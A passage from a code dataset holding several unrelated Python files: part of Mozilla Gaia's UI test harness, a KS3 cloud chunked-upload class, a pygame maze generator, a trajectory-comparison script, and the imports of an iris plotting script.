states which the phone can be passed in:\n portrait-primary(which is the default orientation), landscape-primary, portrait-secondary and landscape-secondary\n \"\"\"\n self.marionette.execute_async_script(\"\"\"\n if (arguments[0] === arguments[1]) {\n marionetteScriptFinished();\n }\n else {\n var expected = arguments[1];\n window.screen.onmozorientationchange = function(e) {\n console.log(\"Received 'onmozorientationchange' event.\");\n waitFor(\n function() {\n window.screen.onmozorientationchange = null;\n marionetteScriptFinished();\n },\n function() {\n return window.screen.mozOrientation === expected;\n }\n );\n };\n console.log(\"Changing orientation to '\" + arguments[1] + \"'.\");\n window.screen.mozLockOrientation(arguments[1]);\n };\"\"\", script_args=[self.screen_orientation, orientation])\n\n @property\n def screen_orientation(self):\n return self.marionette.execute_script('return window.screen.mozOrientation')\n\n\nclass GaiaTestCase(MarionetteTestCase, B2GTestCaseMixin):\n def __init__(self, *args, **kwargs):\n self.restart = kwargs.pop('restart', False)\n self.locale = kwargs.pop('locale')\n self.capture = kwargs.pop('capture')\n self.capturefolder = kwargs.pop('capturefolder')\n MarionetteTestCase.__init__(self, *args, **kwargs)\n B2GTestCaseMixin.__init__(self, *args, **kwargs)\n\n def setUp(self):\n try:\n MarionetteTestCase.setUp(self)\n except IOError:\n if self.restart:\n pass\n\n self.environment = GaiaTestEnvironment(self.testvars)\n self.device = GaiaDevice(self.marionette,\n manager=self.device_manager,\n testvars=self.testvars)\n\n if self.restart and (self.device.is_android_build or self.marionette.instance):\n # Restart if it's a device, or we have passed a binary instance with --binary command arg\n self.device.stop_b2g()\n try:\n if self.device.is_android_build:\n self.cleanup_data()\n self.set_default_settings()\n finally:\n # make sure we restart to avoid leaving us in a bad state\n self.device.start_b2g()\n\n # We need to set the default timeouts because we may have a new session\n if self.marionette.timeout is None:\n # if no timeout is passed in, we detect the hardware type and set reasonable defaults\n timeouts = {}\n if self.device.is_desktop_b2g:\n self.marionette.timeout = 5000\n timeouts[self.marionette.TIMEOUT_SEARCH] = 5000\n timeouts[self.marionette.TIMEOUT_SCRIPT] = 10000\n timeouts[self.marionette.TIMEOUT_PAGE] = 10000\n elif self.device.is_emulator:\n self.marionette.timeout = 30000\n timeouts[self.marionette.TIMEOUT_SEARCH] = 30000\n timeouts[self.marionette.TIMEOUT_SCRIPT] = 60000\n timeouts[self.marionette.TIMEOUT_PAGE] = 60000\n else:\n # else, it is a device, the type of which is difficult to detect\n self.marionette.timeout = 10000\n timeouts[self.marionette.TIMEOUT_SEARCH] = 10000\n timeouts[self.marionette.TIMEOUT_SCRIPT] = 20000\n timeouts[self.marionette.TIMEOUT_PAGE] = 20000\n\n for k, v in timeouts.items():\n self.marionette.timeouts(k, v)\n\n else:\n # if the user has passed in --timeout then we override everything\n self.marionette.timeouts(self.marionette.TIMEOUT_SEARCH, self.marionette.timeout)\n self.marionette.timeouts(self.marionette.TIMEOUT_SCRIPT, self.marionette.timeout)\n self.marionette.timeouts(self.marionette.TIMEOUT_PAGE, self.marionette.timeout)\n\n self.apps = GaiaApps(self.marionette)\n self.data_layer = GaiaData(self.marionette, self.testvars)\n self.accessibility = Accessibility(self.marionette)\n\n self.cleanup_storage()\n\n if self.restart:\n self.cleanup_gaia(full_reset=False)\n else:\n self.cleanup_gaia(full_reset=True)\n\n if self.capture != \"off\":\n self.start_video_capture()\n\n # saves the captured video in /sdcard/ folder (only logical choice)\n # triggers screenrecord command as a thread since the command is blocking the main thread\n def start_video_capture(self):\n device_folder = \"/sdcard\"\n\n self.video_capture_filename = '%s_%s.mp4' \\\n % (self.methodName, datetime.datetime.now().strftime('%Y-%m-%d-%H-%M-%S'))\n\n def screen_record_command():\n self.device.manager.shellCheckOutput(cmd=['screenrecord',\n os.path.join(device_folder, self.video_capture_filename)])\n\n if self.device.manager.dirExists(device_folder):\n thread.start_new_thread(screen_record_command, ())\n else:\n raise Exception('Unable to find internal storage folder')\n\n def stop_video_capture(self):\n # video file gets corrupted if using another signal\n self.device.manager.killProcess('screenrecord', sig=signal.SIGINT)\n # need to wait until the files are released, otherwise, files will be corrupted\n time.sleep(1)\n\n def pull_video_capture(self):\n # pull to the currently active directory\n self.device.manager.getFile(os.path.join(\"/sdcard\", self.video_capture_filename),\n os.path.join(self.capturefolder, self.video_capture_filename))\n\n def cleanup_data(self):\n self.device.file_manager.remove('/cache/*')\n self.device.file_manager.remove('/data/b2g/mozilla')\n self.device.file_manager.remove('/data/local/debug_info_trigger')\n self.device.file_manager.remove('/data/local/indexedDB')\n self.device.file_manager.remove('/data/local/OfflineCache')\n self.device.file_manager.remove('/data/local/permissions.sqlite')\n self.device.file_manager.remove('/data/local/storage/permanent')\n self.device.file_manager.remove('/data/local/storage/persistent')\n self.device.file_manager.remove('/data/local/storage/default')\n # remove remembered networks\n self.device.file_manager.remove('/data/misc/wifi/wpa_supplicant.conf')\n\n if self.device.is_android_build:\n apps = json.loads(self.device.file_manager.pull_file('/data/local/webapps/webapps.json'))\n system_install_time = apps['system.gaiamobile.org']['installTime']\n for app in apps.values():\n if app.get('installTime') > system_install_time:\n # removing any webapps installed since build time\n path = posixpath.join(app.get('basePath'), app.get('id'))\n self.logger.debug('Removing %s' % path)\n self.device.file_manager.remove(path)\n\n def cleanup_storage(self):\n \"\"\"Remove all files from the device's storage paths\"\"\"\n storage_paths = [self.device.storage_path]\n if self.device.is_android_build:\n # TODO: Remove hard-coded paths once bug 1018079 is resolved\n storage_paths.extend(['/mnt/sdcard/',\n '/mnt/extsdcard/',\n '/storage/sdcard/',\n '/storage/sdcard0/',\n '/storage/sdcard1/'])\n for path in storage_paths:\n if self.device.file_manager.dir_exists(path):\n for item in self.device.file_manager.list_items(path):\n self.device.file_manager.remove('/'.join([path, item]))\n\n def cleanup_gaia(self, full_reset=True):\n\n self.device.turn_screen_off()\n self.device.turn_screen_on()\n\n # kill the FTU and any open, user-killable apps\n self.apps.kill_all()\n\n default_prefs = DEFAULT_PREFS.copy()\n default_prefs.update(self.testvars.get('prefs', {}))\n default_prefs = self.modify_prefs(default_prefs)\n for name, value in default_prefs.items():\n if type(value) is int:\n self.data_layer.set_int_pref(name, value)\n elif type(value) is bool:\n self.data_layer.set_bool_pref(name, value)\n else:\n self.data_layer.set_char_pref(name, value)\n\n # unlock\n if self.data_layer.get_setting('lockscreen.enabled'):\n self.device.unlock()\n\n if full_reset:\n default_settings = DEFAULT_SETTINGS.copy()\n default_settings.update(self.testvars.get('settings', {}))\n default_settings = self.modify_settings(default_settings)\n for name, value in default_settings.items():\n self.data_layer.set_setting(name, value)\n\n # disable carrier data connection\n if self.device.has_mobile_connection:\n self.data_layer.disable_cell_data()\n\n if self.device.has_wifi:\n # Bug 908553 - B2G Emulator: support wifi emulation\n if not self.device.is_emulator:\n self.data_layer.enable_wifi()\n self.data_layer.forget_all_networks()\n self.data_layer.disable_wifi()\n\n # remove data\n self.data_layer.remove_all_contacts()\n\n # reset to home screen\n self.device.touch_home_button()\n\n def connect_to_local_area_network(self):\n if not self.device.is_online:\n if self.testvars.get('wifi') and self.device.has_wifi:\n self.data_layer.connect_to_wifi()\n assert self.device.is_online\n else:\n raise Exception('Unable to connect to local area network')\n\n def disable_all_network_connections(self):\n if self.device.has_wifi:\n self.data_layer.enable_wifi()\n self.data_layer.forget_all_networks()\n self.data_layer.disable_wifi()\n\n if self.device.has_mobile_connection:\n self.data_layer.disable_cell_data()\n\n def push_resource(self, filename, remote_path=None, count=1):\n # push to the test storage space defined by device root\n self.device.file_manager.push_file(\n self.resource(filename), remote_path, count)\n\n def resource(self, filename):\n return os.path.abspath(os.path.join(os.path.dirname(__file__), 'resources', filename))\n\n def modify_settings(self, settings):\n \"\"\"Hook to modify the default settings before they're applied.\n\n :param settings: dictionary of the settings that would be applied.\n :returns: modified dictionary of the settings to be applied.\n\n This method provides the ability for test cases to override the default\n settings before they're applied. To use it, define the method in your\n test class and return a modified dictionary of settings:\n\n .. code-block:: python\n\n class TestModifySettings(GaiaTestCase):\n\n def modify_settings(self, settings):\n settings['foo'] = 'bar'\n return settings\n\n def test_modify_settings(self):\n self.assertEqual('bar', self.data_layer.get_setting('foo'))\n\n \"\"\"\n return settings\n\n def modify_prefs(self, prefs):\n \"\"\"Hook to modify the default preferences before they're applied.\n\n :param prefs: dictionary of the preferences that would be applied.\n :returns: modified dictionary of the preferences to be applied.\n\n This method provides the ability for test cases to override the default\n preferences before they're applied. To use it, define the method in your\n test class and return a modified dictionary of preferences:\n\n .. code-block:: python\n\n class TestModifyPrefs(GaiaTestCase):\n\n def modify_prefs(self, prefs):\n prefs['foo'] = 'bar'\n return prefs\n\n def test_modify_prefs(self):\n self.assertEqual('bar', self.data_layer.get_char_pref('foo'))\n\n \"\"\"\n return prefs\n\n def set_default_settings(self):\n filename = 'settings.json'\n defaults = DEFAULT_SETTINGS.copy()\n defaults.update(self.testvars.get('settings', {}))\n defaults = self.modify_settings(defaults)\n\n if self.locale != 'undefined':\n defaults['language.current'] = self.locale\n\n if self.device.is_desktop_b2g:\n directory = self.marionette.instance.profile_path\n path = os.path.join(directory, filename)\n else:\n directory = '/system/b2g/defaults'\n path = posixpath.join(directory, filename)\n\n settings = json.loads(self.device.file_manager.pull_file(path))\n for name, value in defaults.items():\n self.logger.debug('Setting %s to %s' % (name, value))\n settings[name] = value\n td = tempfile.mkdtemp()\n try:\n tf = os.path.join(td, filename)\n with open(tf, 'w') as f:\n json.dump(settings, f)\n if not self.device.is_desktop_b2g:\n self.device.manager.remount()\n self.device.file_manager.push_file(tf, directory)\n finally:\n mozfile.remove(td)\n\n def wait_for_condition(self, method, timeout=None, message=None):\n Wait(self.marionette, timeout).until(method, message=message)\n\n @property\n def _has_thrown_any_exception_during_run(self):\n return sys.exc_info()[0] is not None\n\n def tearDown(self):\n self.marionette.switch_to_frame()\n if self.device.is_desktop_b2g and self.device.storage_path:\n shutil.rmtree(self.device.storage_path, ignore_errors=True)\n self.apps = None\n self.data_layer = None\n\n if self.capture != \"off\":\n self.stop_video_capture()\n # pull video file when there was an exception, or always set to pull\n if self.capture == \"always\" or \\\n (self.capture == \"whenfail\" and self._has_thrown_any_exception_during_run):\n self.pull_video_capture()\n\n MarionetteTestCase.tearDown(self)\n\n\nclass PasscodeTestCase(GaiaTestCase):\n\n def set_passcode_to_1337(self):\n \"\"\"Set the passcode (but neither disable nor enable it).\"\"\"\n SET_DIGEST_VALUE = 'lockscreen.passcode-lock.digest.value'\n SET_DIGEST_SALT = 'lockscreen.passcode-lock.digest.salt'\n SET_DIGEST_ITERATIONS = 'lockscreen.passcode-lock.digest.iterations'\n SET_DIGEST_ALGORITHM = 'lockscreen.passcode-lock.digest.algorithm'\n\n settings = {}\n # The code for setting the passcode uses ArrayBuffers.\n # ArrayBuffers are represented as objects keys from 0 to n-1.\n # The settings DB does not support this and sees an array buffer of [3,6,9] objects\n # of the format {0: 3, 1: 6, 2: 9} (hence objects with keys from 0 to n-1)\n # n is array.length. So 8 for the salt and 20 for the digest.\n # The passcode is stored using PBKDF2 with a non-deterministic salt.\n # These values are the result of a pre-computation of PBKDF2 with the given salt,\n # 1000 iterations of SHA-1 and the passcode \"1337\".\n settings[SET_DIGEST_VALUE] = {\"0\": 119, \"1\": 161, \"2\": 123, \"3\": 75, \"4\": 210,\n \"5\": 67, \"6\": 1, \"7\": 189, \"8\": 48, \"9\": 33, \"10\": 242,\n \"11\": 167, \"12\": 140, \"13\": 241, \"14\": 255,\n \"15\": 39, \"16\": 5, \"17\": 23, \"18\": 43, \"19\": 150}\n settings[SET_DIGEST_SALT] = {\"0\": 89, \"1\": 203, \"2\": 232, \"3\": 38,\n \"4\": 249, \"5\": 94, \"6\": 109, \"7\": 54}\n settings[SET_DIGEST_ITERATIONS] = 1000\n settings[SET_DIGEST_ALGORITHM] = 'SHA-1'\n\n for setting, value in settings.iteritems():\n self.data_layer.set_setting(setting, value)\n","repo_name":"mozilla-b2g/gaia","sub_path":"tests/python/gaia-ui-tests/gaiatest/gaia_test.py","file_name":"gaia_test.py","file_ext":"py","file_size_in_byte":52275,"program_lang":"python","lang":"en","doc_type":"code","stars":2101,"dataset":"github-code","pt":"20"} +{"seq_id":"33306517748","text":"# coding:utf-8\nimport os\nimport time\nfrom gevent.monkey import patch_all\npatch_all()\nfrom gevent.pool import Pool\nfrom ks3.connection import Connection\nfrom filechunkio import FileChunkIO\nfrom baseUpload import BaseUpload\nimport settings\nimport logging.config\nlogging.config.dictConfig(settings.LOGGING)\nlogger = logging.getLogger('mylogger')\n\nclass KSUpload(BaseUpload):\n def __init__(self, oss_config):\n self.__access_key = oss_config.get(\"AccessKey\")\n self.__secret_key = oss_config.get(\"SecretKey\")\n self.__endpoint = oss_config.get(\"ENDPOINT\")\n self.__bucket = oss_config.get(\"bucketName\")\n self.__file_chunk_size = oss_config.get(\"file_chunk_size\")\n self.__file_critical_size = oss_config.get(\"file_critical_size\")\n\n # 考虑到要实现分块上传,所以连接单独配置下\n def __connect_ks(self):\n ksConnect = Connection(self.__access_key, self.__secret_key, host=self.__endpoint)\n bucket = ksConnect.get_bucket(self.__bucket)\n return bucket\n\n def upload_file(self, cloud_file, file_to_upload):\n file_size = os.path.getsize(file_to_upload)\n startTime = time.time()\n if file_size > self.__file_critical_size:\n self.upload_chunk_file(cloud_file, file_to_upload)\n return\n bucket = self.__connect_ks()\n logger.info(\"开始上传%s。。。。到KS中\" % file_to_upload)\n key_name = bucket.new_key(cloud_file)\n key_name.set_contents_from_filename(file_to_upload)\n endTime = time.time()\n spendTime = endTime - startTime\n logger.info(\"Upload file %s spent %f second.\" % (file_to_upload, spendTime))\n\n def upload_to_cloud(self, filePartInfo):\n startTime = time.time()\n filePartInfo['hMultiUpload'].upload_part_from_file(filePartInfo['fp'], filePartInfo['partIdx'])\n if not filePartInfo['fp'].closed:\n filePartInfo['fp'].close()\n endTime = time.time()\n spendTime = endTime - startTime\n logger.debug(\"Upload file part %d of %s spent %f second.\" % (filePartInfo['partIdx'], filePartInfo['cloud_file'], spendTime))\n\n def upload_chunk_file(self, cloud_file, file_to_upload):\n bucket = self.__connect_ks()\n file_size = os.path.getsize(file_to_upload)\n\n if file_size < self.__file_critical_size:\n self.upload_file(cloud_file, file_to_upload)\n return\n file_part_count = (file_size / self.__file_chunk_size)+1\n startTime = time.time()\n file_parts = []\n h_multi_upload = bucket.initiate_multipart_upload(cloud_file)\n for chunkIdx in xrange(file_part_count):\n offset = self.__file_chunk_size * chunkIdx\n bytes = min(self.__file_chunk_size, file_size - offset)\n fp = FileChunkIO(file_to_upload, 'r', offset=offset, bytes=bytes)\n file_parts.append(dict(\n hMultiUpload=h_multi_upload,\n fp=fp,\n partIdx=chunkIdx + 1,\n cloud_file=cloud_file,\n ))\n\n hPool = Pool(file_part_count)\n hPool.map(self.upload_to_cloud, file_parts)\n h_multi_upload.complete_upload()\n bucket.set_acl(\"public-read\", cloud_file)\n endTime = time.time()\n spendTime = endTime - startTime\n logger.info(\"Upload file %s spent %f second.\" % (file_to_upload, spendTime))","repo_name":"wsqy/subpackage","sub_path":"UploadFile/KSUpload.py","file_name":"KSUpload.py","file_ext":"py","file_size_in_byte":3391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"73021932211","text":"import pygame, sys\nfrom collections import deque\nfrom random import randint, choice\n\n\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nSTART = (250, 157, 0)\nEND = (128, 0, 128)\nOPEN = (70, 130, 180)\nCLOSE = (92, 192, 219)\nPATH = (255, 255, 0)\nGREY = (128, 128, 128)\n\n\nclass Spot:\n\tdef __init__(self, i, j, cell_size, num_cells):\n\t\tself.x_id = i\n\t\tself.y_id = j\n\t\tself.x = i * cell_size\n\t\tself.y = j * cell_size\n\n\t\tself.color = WHITE\n\t\tself.cell_size = cell_size\n\t\tself.num_cells = num_cells\n\t\t\n\t\tself.dist = float('inf')\n\t\tself.g_score = float('inf')\n\t\tself.h_score = float('inf')\n\t\tself.prev = None\n\t\tself.visited = False\n\n\tdef is_start(self):\n\t\treturn self.color == START\n\n\tdef is_end(self):\n\t\treturn self.color == END\n\n\tdef is_barrier(self):\n\t\treturn self.color == BLACK\n\n\tdef make_start(self):\n\t\tself.color = START\n\t\tself.dist = 0\n\t\tself.g_score = 0\n\t\tself.h_score = 0\n\n\tdef make_end(self):\n\t\tself.color = END\n\n\tdef make_barrier(self):\n\t\tif not self.is_start() and not self.is_end():\n\t\t\tself.color = BLACK\n\n\tdef make_frontier(self):\n\t\tself.color = OPEN\n\n\tdef make_path(self):\n\t\tself.color = PATH\n\n\tdef make_examined(self):\n\t\tself.color = CLOSE\n\n\tdef reset(self):\n\t\tif not self.is_start() and not self.is_end():\n\t\t\tself.color = WHITE\n\t\t\n\t\tself.dist = float('inf')\n\t\tself.g_score = float('inf')\n\t\tself.h_score = float('inf')\n\t\tself.prev = None\n\t\tself.visited = False\n\n\tdef draw(self, screen):\n\t\tcell = pygame.Rect(self.x, self.y, self.cell_size, self.cell_size)\n\t\tpygame.draw.rect(screen, self.color, cell)\n\n\tdef update_neighbors(self, grid):\n\t\tcol_max = self.num_cells[0]\n\t\tcol_min = 0\n\t\tself.neighbors = []\n\n\t\tif self.y_id > 0 and not grid[self.x_id][self.y_id - 1].is_barrier(): # UP\n\t\t\tself.neighbors.append(grid[self.x_id][self.y_id - 1])\n\t\t\n\t\tif self.x_id < col_max - 1 and not grid[self.x_id + 1][self.y_id].is_barrier(): # RIGHT\n\t\t\tself.neighbors.append(grid[self.x_id + 1][self.y_id])\n\n\t\tif self.y_id < self.num_cells[1] - 1 and not grid[self.x_id][self.y_id + 1].is_barrier(): # DOWN\n\t\t\tself.neighbors.append(grid[self.x_id][self.y_id + 1])\n\n\t\tif self.x_id > col_min and not grid[self.x_id - 1][self.y_id].is_barrier(): # LEFT\n\t\t\tself.neighbors.append(grid[self.x_id - 1][self.y_id])\n\n\tdef __lt__(self, other):\n\t\treturn self.dist < other.dist\n\n\ndef update_all_neighbors(grid, draw):\n\tfor col in grid:\n\t\tfor spot in col:\n\t\t\tspot.update_neighbors(grid)\n\treturn grid\n\n\n# ---------------- DFS Maze ----------------\nclass DFSMazeSpot(Spot):\n\tdef __init__(self, i, j, cell_size, num_cells):\n\t\tSpot.__init__(self, i, j, cell_size, num_cells)\n\t\t\n\t\tself.color = GREY\n\t\tself.lines = self.get_lines()\n\t\t\n\t\tself.neighbors = []\n\t\t\n\t\tself.reachables = []\n\n\tdef get_lines(self):\n\t\tp1 = (self.x, self.y)\n\t\tp2 = (self.x + self.cell_size, self.y)\n\t\tp3 = (self.x + self.cell_size, self.y + self.cell_size)\n\t\tp4 = (self.x, self.y + self.cell_size)\n\n\t\tlines = {'up':(p1, p2), 'down':(p3, p4),\n\t\t'left':(p1, p4), 'right':(p2, p3)}\n\t\treturn lines\n\n\tdef get_reachables(self, grid):\n\t\tmax_x = self.num_cells[0]\n\t\tmax_y = self.num_cells[1]\n\n\t\tself.reachables = []\n\t\tif self.x_id < max_x - 1:\n\t\t\tself.reachables.append(grid[self.x_id + 1][self.y_id])\n\t\tif self.x_id > 0:\n\t\t\tself.reachables.append(grid[self.x_id - 1][self.y_id])\n\t\tif self.y_id < max_y - 1:\n\t\t\tself.reachables.append(grid[self.x_id][self.y_id + 1])\n\t\tif self.y_id > 0:\n\t\t\tself.reachables.append(grid[self.x_id][self.y_id - 1])\n\n\tdef enable(self):\n\t\tif not self.is_start() and not self.is_end():\n\t\t\tself.color = WHITE\n\t\tself.visited = True\n\t\n\tdef reset(self):\n\t\tif not self.is_start() and not self.is_end():\n\t\t\tself.color = BLACK\n\t\t\n\t\tself.dist = float('inf')\n\t\tself.g_score = float('inf')\n\t\tself.h_score = float('inf')\n\t\tself.prev = None\n\n\tdef draw_lines(self, screen):\n\t\tfor line in self.lines.values():\n\t\t\tpygame.draw.line(screen, BLACK, *line, 3)\n\n\tdef pint(self, screen):\n\t\tcell = pygame.Rect(self.x, self.y, self.cell_size, self.cell_size)\n\t\tpygame.draw.rect(screen, self.color, cell)\n\n\tdef draw(self, screen):\n\t\tself.pint(screen)\n\t\tself.draw_lines(screen)\n\n\ndef remove_wall(candidate, curr):\n\tif candidate.y_id - curr.y_id == 1:\n\t\tcandidate.lines.pop('up', None)\n\t\tcurr.lines.pop('down', None)\n\t\n\telif candidate.y_id - curr.y_id == -1:\n\t\tcandidate.lines.pop('down', None)\n\t\tcurr.lines.pop('up', None)\n\n\telif candidate.x_id - curr.x_id == 1:\n\t\tcandidate.lines.pop('left', None)\n\t\tcurr.lines.pop('right', None)\n\n\telif candidate.x_id - curr.x_id == -1:\n\t\tcandidate.lines.pop('right', None)\n\t\tcurr.lines.pop('left', None)\n\n\tcandidate.reachables.remove(curr)\n\n\tcandidate.neighbors.append(curr)\n\tcurr.neighbors.append(candidate)\n\n\ndef dfs_maze(grid, draw):\n\tbegin = grid[0][0]\n\tbegin.enable()\n\n\tstack = deque()\n\tstack.append(begin)\n\n\twhile stack:\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\tpygame.quit()\n\t\t\t\tsys.exit()\n\n\t\tcurr = stack.pop()\n\t\tcurr.reachables = [cand for cand in curr.reachables if cand.visited == False]\n\n\t\tif curr.reachables:\n\t\t\tstack.append(curr)\n\t\t\t\n\t\t\tidx = choice(range(len(curr.reachables)))\n\t\t\tcandidate = curr.reachables.pop(idx)\n\t\t\t\n\t\t\tremove_wall(candidate, curr)\n\t\t\tcandidate.enable()\n\t\t\tstack.append(candidate)\n\n\t\tdraw()\n\n\treturn grid\n\n\n# ---------------- Recursive Division ----------------\nclass Chamber:\n\tdef __init__(self, x_min, x_max, y_min, y_max, x_to_avoid=[], y_to_avoid=[]):\n\t\tself.x_min = x_min\n\t\tself.x_max = x_max\n\t\tself.y_min = y_min\n\t\tself.y_max = y_max\n\t\t\n\t\tself.x_to_avoid = x_to_avoid\n\t\tself.y_to_avoid = y_to_avoid\n\n\t\tself.get_wall_center()\n\n\tdef get_wall_center(self):\n\t\tx_to_avoid = set(self.x_to_avoid)\n\t\ty_to_avoid = set(self.y_to_avoid)\n\n\t\tx_cands = [x for x in range(self.x_min + 1, self.x_max) if x not in x_to_avoid]\n\n\t\ty_cands = [y for y in range(self.y_min + 1, self.y_max) if y not in y_to_avoid]\n\n\t\tif x_cands and y_cands:\n\t\t\tself.center_x = choice(x_cands)\n\t\t\tself.center_y = choice(y_cands)\n\t\t\tself.is_qualified = True\n\t\telse:\n\t\t\tself.is_qualified = False\n\n\n\tdef build_walls(self, grid, draw):\n\t\tfor spot in grid[self.center_x][self.y_min:self.y_max + 1]:\n\t\t\tspot.make_barrier()\n\t\t\tdraw()\n\t\tfor col in grid[self.x_min:self.x_max + 1]:\n\t\t\tcol[self.center_y].make_barrier()\n\t\t\tdraw()\n\n\tdef build_walls_and_open_doors(self, grid, draw):\n\t\tself.build_walls(grid, draw)\n\t\t# draw()\n\n\t\tself.walls = {\n\t\t'upper': [self.y_min, self.center_y - 1,\n\t\t\t\t(self.center_x, randint(self.y_min, self.center_y - 1))],\n\n\t\t'lower': [self.center_y + 1, self.y_max,\n\t\t\t\t(self.center_x, randint(self.center_y + 1, self.y_max))],\n\n\t\t'left': [self.x_min, self.center_x - 1,\n\t\t\t\t(randint(self.x_min, self.center_x - 1), self.center_y)],\n\n\t\t'right': [self.center_x + 1, self.x_max,\n\t\t\t\t(randint(self.center_x + 1, self.x_max), self.center_y)]\n\t\t}\n\n\t\trm_wall = choice(['upper', 'lower', 'left', 'right'])\n\t\tself.walls[rm_wall][2] = (None, None)\n\t\t\n\t\tfor vals in self.walls.values():\n\t\t\tx, y = vals[2]\n\t\t\tif x != None:\n\t\t\t\tgrid[x][y].reset()\n\t\tdraw()\n\n\tdef build_sub_chambers(self, stack):\n\t\tfor vert in ['lower', 'upper']:\n\t\t\tfor horiz in ['right', 'left']:\n\t\t\t\tcol_wall = self.walls[vert]\n\t\t\t\trow_wall = self.walls[horiz]\n\n\t\t\t\tx_min = row_wall[0]\n\t\t\t\tx_max = row_wall[1]\n\t\t\t\ty_min = col_wall[0]\n\t\t\t\ty_max = col_wall[1]\n\t\t\t\tx_to_avoid = [row_wall[2][0]]\n\t\t\t\ty_to_avoid = [col_wall[2][1]]\n\n\t\t\t\tif (x_max - x_min >= 3) and (y_max - y_min >= 3):\n\t\t\t\t\tfor x in self.x_to_avoid:\n\t\t\t\t\t\tif x != None and (x_min <= x <= x_max):\n\t\t\t\t\t\t\tx_to_avoid.append(x)\n\t\t\t\t\tfor y in self.y_to_avoid:\n\t\t\t\t\t\tif y != None and (y_min <= y <= y_max):\n\t\t\t\t\t\t\ty_to_avoid.append(y)\n\n\t\t\t\t\tsub_chamber = Chamber(\n\t\t\t\t\t\tx_min, x_max,\n\t\t\t\t\t\ty_min, y_max,\n\t\t\t\t\t\tx_to_avoid, y_to_avoid)\n\n\t\t\t\t\tstack.append(sub_chamber)\n\n\ndef recursive_division_maze(grid, draw, num_cells):\n\tnum_cells_h, num_cells_v = num_cells\n\n\tbegin = Chamber(0, num_cells_h - 1, 0, num_cells_v - 1)\n\tstack = deque([begin])\n\n\twhile stack:\n\t\tchamber = stack.pop()\n\t\tif chamber.is_qualified:\n\t\t\tchamber.build_walls_and_open_doors(grid, draw)\n\t\t\tchamber.build_sub_chambers(stack)\n\n\tgrid = update_all_neighbors(grid, None)\n\n\treturn grid\n\n\n# ---------------- Random Barriers ----------------\ndef random_barriers(grid, draw):\n\tnum_cells_v, num_cells_h = len(grid), len(grid[0])\n\tnum_barriers_per_col = num_cells_h * num_cells_v * 0.08 // num_cells_h\n\tfor col in grid:\n\t\tnum_barriers = randint(num_barriers_per_col-3, num_barriers_per_col)\n\t\tbarrier_idx = set()\n\t\twhile len(barrier_idx) != num_barriers:\n\t\t\tidx = randint(0, len(col) - 1)\n\t\t\tif idx not in barrier_idx:\n\t\t\t\tbarrier_idx.add(idx)\n\t\t\t\tcol[idx].make_barrier()\n\t\t\t\tdraw()\n\n\tgrid = update_all_neighbors(grid, None)\n\n\treturn grid\n\n\n\n# ----------------\ndef make_grid(spot_type, cell_size, num_cells):\n\th_counts, v_counts = num_cells\n\tgrid = []\n\tfor i in range(h_counts):\n\t\tcol = []\n\t\tfor j in range(v_counts):\n\t\t\tcol.append(spot_type(i, j, cell_size, num_cells))\n\t\tgrid.append(col)\n\n\tif spot_type == DFSMazeSpot:\n\t\tfor col in grid:\n\t\t\tfor spot in col:\n\t\t\t\tspot.get_reachables(grid)\n\n\treturn grid\n\n\n\n\n\n\n","repo_name":"Jiaweihu08/visualize-pathing-and-maze-generation-algorithms","sub_path":"mazes.py","file_name":"mazes.py","file_ext":"py","file_size_in_byte":8893,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"16804546149","text":"from view_coord import ViewCoord\nfrom calc_traj import CalcTraj\nfrom init import Init\nfrom calc_RT__ import CalcRT\nfrom optimize_traj7 import OptimizeTraj\nimport numpy as np\nfrom equalize_est import Equalize\n\n\n#from create_staticmap_map import CreateStaticMap_\n#from save_data import SaveData\n\nclass Main():\n def __init__(self):\n a = Init()\n self.L0 = a.L0\n self.json_file0 = a.json_file0\n self.droid = a.droid\n self.ground_time = a.ground_time\n self.ground_data = a.ground_data\n self.groundtruth = CalcTraj().calcGroundTruth(self.ground_time, self.L0, self.ground_data)\n self.opensfm = CalcTraj().calcOpensfm(self.groundtruth, self.json_file0)\n self.droidslam = CalcTraj().calcDroidslam(self.groundtruth, self.droid)\n self.optimized = OptimizeTraj().calcOptimizeTraj()\n if (len(self.L0) == 0):\n self.orbslam = self.droidslam\n else:\n self.orbslam = CalcTraj().calcOrbslam(self.groundtruth, self.L0)\n self.equalizedDROID = Equalize().averagedSLAM(a.droid0, a.droid1, a.droid2, a.droid3, a.droid4, a.droid5, a.droid6, a.droid7, a.droid8, a.droid9, 'DROIDSLAM')\n\n if (len(a.L) == 0):\n self.equalizedORB = self.equalizedDROID\n else:\n self.equalizedORB = Equalize().averagedSLAM(a.L0, a.L1, a.L2, a.L3, a.L4, a.L5, a.L6, a.L7, a.L8, a.L9, 'ORBSLAM')\n\n \nif __name__ == '__main__':\n print(\"output\")\n \n #CreateDynamicMap().drawMap()\n a = Main()\n #print(a.optimized[0], \"shape\")\n b = ViewCoord()\n #a.showTrajectory(a.groundtruth, a.opensfm, a.orbslam, a.doidslam)\n #CreateStaticMap_().drawPolyLine()\n #ViewCoord().showTrajectory(Main().groundtruth, Main().opensfm, Main().orbslam)\n b.showTrajectory(a.groundtruth, a.opensfm, a.orbslam, a.droidslam, a.optimized, a.equalizedORB, a.equalizedDROID)\n b.showRoll(a.groundtruth,a.opensfm, a.orbslam, a.droidslam, a.optimized, a.equalizedORB, a.equalizedDROID)\n b.showPitch(a.groundtruth,a.opensfm, a.orbslam, a.droidslam, a.optimized, a.equalizedORB, a.equalizedDROID)\n b.showYaw(a.groundtruth,a.opensfm, a.orbslam, a.droidslam, a.optimized, a.equalizedORB, a.equalizedDROID)\n #b.showZ(a.groundtruth,a.opensfm, a.orbslam, a.droidslam, a.optimized)\n OptimizeTraj().showRT()\n\n","repo_name":"Sora-tabata/estimate_trajectory_kitti","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"9290679434","text":"import iris \nimport iris.plot as iplt\nimport iris.quickplot as qplt\n\nimport iris.analysis.cartography \nimport cartopy.crs as ccrs\nimport cartopy.feature as cfe\n\nimport os\nfrom mpl_toolkits.basemap import Basemap, maskoceans, shiftgrid\n\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as 